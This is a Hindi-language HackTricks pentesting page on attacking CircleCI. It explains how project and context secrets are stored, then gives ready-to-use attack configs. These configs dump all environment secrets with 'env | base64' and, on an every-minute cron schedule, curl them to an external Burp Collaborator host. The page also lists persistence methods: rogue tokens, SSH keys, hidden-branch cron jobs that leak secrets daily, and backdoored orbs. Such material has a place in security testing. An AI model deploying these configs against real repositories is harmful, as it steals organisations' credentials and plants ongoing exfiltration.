CircleCI Security

HackTricks का समर्थन करें

बुनियादी जानकारी

CircleCI एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप टेम्पलेट्स परिभाषित कर सकते हैं जो यह दर्शाते हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप परीक्षण या डिप्लॉयमेंट को सीधे अपने रिपोजिटरी के मास्टर ब्रांच से स्वचालित कर सकते हैं, उदाहरण के लिए।

अनुमतियाँ

CircleCI अनुमतियाँ github और bitbucket से विरासत में लेता है जो खाता लॉग इन करता है। मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास github में रिपोजिटरी पर लिखने की अनुमतियाँ हैं, आप CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।

हालांकि, आपको CircleCI प्रोजेक्ट में रिपोजिटरी को परिवर्तित करने के लिए एक रिपोजिटरी प्रशासक होना आवश्यक है

पर्यावरण चर और रहस्य

दस्तावेज़ों के अनुसार कार्यप्रवाह के भीतर पर्यावरण चर में मान लोड करने के विभिन्न तरीके हैं।

अंतर्निहित पर्यावरण चर

CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा दस्तावेज़ में परिभाषित विशिष्ट पर्यावरण चर होंगे जैसे CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME या CIRCLE_USERNAME

स्पष्ट पाठ

आप उन्हें कमांड के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

आप उन्हें run environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

आप उन्हें build-job environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

आप उन्हें container के environment के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

प्रोजेक्ट रहस्य

ये रहस्य केवल प्रोजेक्ट (किसी भी शाखा द्वारा) द्वारा पहुँचने योग्य होंगे। आप इन्हें https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables में घोषित होते हुए देख सकते हैं।

"आयात वेरिएबल्स" कार्यक्षमता अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में आयात करने की अनुमति देती है।

संदर्भ रहस्य

ये रहस्य संगठन स्तर पर हैं। डिफ़ॉल्ट रूप से कोई भी रेपो यहाँ संग्रहीत किसी भी रहस्य को पहुँचने में सक्षम होगा:

हालांकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है। यह वर्तमान में रहस्यों की सुरक्षा बढ़ाने के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को।

हमले

स्पष्ट पाठ रहस्यों की खोज

यदि आपके पास VCS (जैसे github) तक पहुँच है, तो प्रत्येक शाखा पर प्रत्येक रेपो की फ़ाइल .circleci/config.yml की जाँच करें और वहाँ संग्रहीत संभावित स्पष्ट पाठ रहस्यों के लिए खोजें

रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना

कोड की जाँच करते समय आप सभी रहस्य नाम पा सकते हैं जो प्रत्येक .circleci/config.yml फ़ाइल में उपयोग किए जा रहे हैं। आप उन फ़ाइलों से संदर्भ नाम भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: https://app.circleci.com/settings/organization/github/<org_name>/contexts

प्रोजेक्ट रहस्यों को निकालना

सभी प्रोजेक्ट और संदर्भ रहस्यों को निकालने के लिए आपको सिर्फ 1 रेपो में लिखने की पहुँच होनी चाहिए (और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है)।

"आयात वेरिएबल्स" कार्यक्षमता अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में आयात करने की अनुमति देती है। इसलिए, एक हमलावर सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को आयात कर सकता है और फिर सभी को एक साथ निकाल सकता है

सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को कार्यप्रवाह वेब लॉग कंसोल में निकाल देगा:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

यदि आपके पास वेब कंसोल तक पहुंच नहीं है लेकिन आपके पास रेपो तक पहुंच है और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस एक वर्कफ़्लो बना सकते हैं जो हर मिनट ट्रिगर होता है और जो गुप्त जानकारी को एक बाहरी पते पर भेजता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltrate Context Secrets

आपको संदर्भ नाम निर्दिष्ट करना होगा (यह परियोजना के रहस्यों को भी बाहर निकालेगा):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

यदि आपके पास वेब कंसोल तक पहुंच नहीं है लेकिन आपके पास रेपो तक पहुंच है और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस एक वर्कफ़्लो को संशोधित कर सकते हैं जो हर मिनट ट्रिगर होता है और जो गुप्त जानकारी को एक बाहरी पते पर भेजता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

बस एक नया .circleci/config.yml एक रेपो में बनाना circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है। आपको इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा

क्लाउड में भागें

CircleCI आपको अपने बिल्ड को उनके मशीनों में या अपने खुद के मशीनों में चलाने का विकल्प देता है। डिफ़ॉल्ट रूप से, उनके मशीन GCP में स्थित होते हैं, और आप प्रारंभ में कुछ भी प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित अपने खुद के मशीनों (संभवतः, एक क्लाउड वातावरण में) कार्य चला रहा है, तो आप एक क्लाउड मेटाडेटा एंडपॉइंट पा सकते हैं जिसमें दिलचस्प जानकारी हो सकती है

ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप एक VM मशीन लॉन्च करने के लिए भी पूछ सकते हैं (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

या यहां तक कि एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • यह संभव है कि CircleCI में उपयोगकर्ता टोकन बनाए जाएं ताकि उपयोगकर्ता की पहुंच के साथ API एंडपॉइंट्स तक पहुंचा जा सके।

  • https://app.circleci.com/settings/user/tokens

  • यह संभव है कि प्रोजेक्ट टोकन बनाए जाएं ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • यह संभव है कि प्रोजेक्ट्स में SSH कुंजी जोड़ी जाएं।

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • यह संभव है कि छिपी शाखा में क्रोन जॉब बनाई जाए एक अप्रत्याशित प्रोजेक्ट में जो हर दिन सभी context env वेरिएबल्स को leak कर रहा है।

  • या यहां तक कि एक शाखा में बनाएं / एक ज्ञात जॉब को संशोधित करें जो हर दिन सभी context और projects secrets को leak करेगा।

  • यदि आप एक गिटहब मालिक हैं तो आप असत्यापित ऑर्ब्स की अनुमति दे सकते हैं और एक जॉब में इसे बैकडोर के रूप में कॉन्फ़िगर कर सकते हैं।

  • आप कुछ कार्यों में एक कमांड इंजेक्शन कमजोरियों को खोज सकते हैं और secret के मान को संशोधित करके कमांड्स को inject कर सकते हैं।

Support HackTricks

Last updated